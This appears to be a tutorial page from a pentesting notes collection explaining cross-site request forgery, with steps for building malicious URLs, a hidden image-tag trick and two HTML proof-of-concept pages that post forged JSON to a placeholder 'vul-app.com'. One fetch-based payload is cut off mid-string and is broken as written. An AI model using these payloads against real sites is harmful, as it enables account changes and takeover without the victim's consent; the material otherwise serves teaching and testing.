Cross Site Request Forgery

Cross site Request Forgery (CSRF) attacks forces the user to perform action the he did not intend to perform. This usually (only?) possible by creating a malicious URL-address that the victim executes in his browser, while he is logged in.

What's the worst that can happen?

The attacker can make actions for the user. For example change the email-address, make a purchase, or something like that. So it could be used to change the adress, and reset the password by sending an email.

How to perform it?

1. Investigate how the website works First you need to know how the application works. What the endpoints are.
2. Construct your malicious URL Now you just construct the URL. Either using get or post.

- `GET` If you use only `GET` you can construct the URL like this:

http://example.com/api/createUser?name=Jose

- `POST`

If the requests are sent as `POST` you need to make the victim run a link that where you control the server. So that you can add the arguments in the body.

There is one creat trick for this. It is to use the image-tag. Because the image-tag can be used to automatically retrieve information from other sites. If you have an image on your site but it is referenced to

```
<img style="display: none" src="http://example.com/image.jpg">
```

CSRF with body type JSON

If the body data need to be in the json-format this can be achived in two ways.

- New way

```
<html>
<title>JSON CSRF POC</title>
<body>
<center>
<h1> JSON CSRF POC </h1>
<script>
fetch('http://vul-app.com', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attack
</script>
<form action="#">
<input type="button" value="Submit" />
</form>
</center>
</body>
</html>
```

- Old way

```
<html>
<title>JSON CSRF POC</title>
<center>
<h1> JSON CSRF POC </h1>
<form action=http://vul-app.com method=post enctype="text/plain" >
<input name='{"name":"attacker","email":"attacker@gmail.com","ignore_me":"' value='test"}'type='hidden'>
<input type=submit value="Submit">
</form>
</center>
</html>
```

CSRF - Bypassing content-type application/json

It might be that the server is checking the content-type of the request, and rejects it if it is not `application/json`. In a form-request it is not possible to set the content-type to application/json. And if it is a XHR request changing the content-type will make it a non-simple request, resulting in a pre-flight request.

If a user has flash enabled in the browser it is possible to attack the user with CSRF.

There are two ways.

https://blog.appsecco.com/exploiting-csrf-on-json-endpoints-with-flash-and-redirects-681d4ad6b31b https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/

Protection

The only real solution is to use unique tokens for each request.

References

http://tipstrickshack.blogspot.cl/2012/10/how-to-exploit-csfr-vulnerabilitycsrf.html

https://www.owasp.org/index.php/Testing_for_CSRF_(OTG-SESS-005)

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)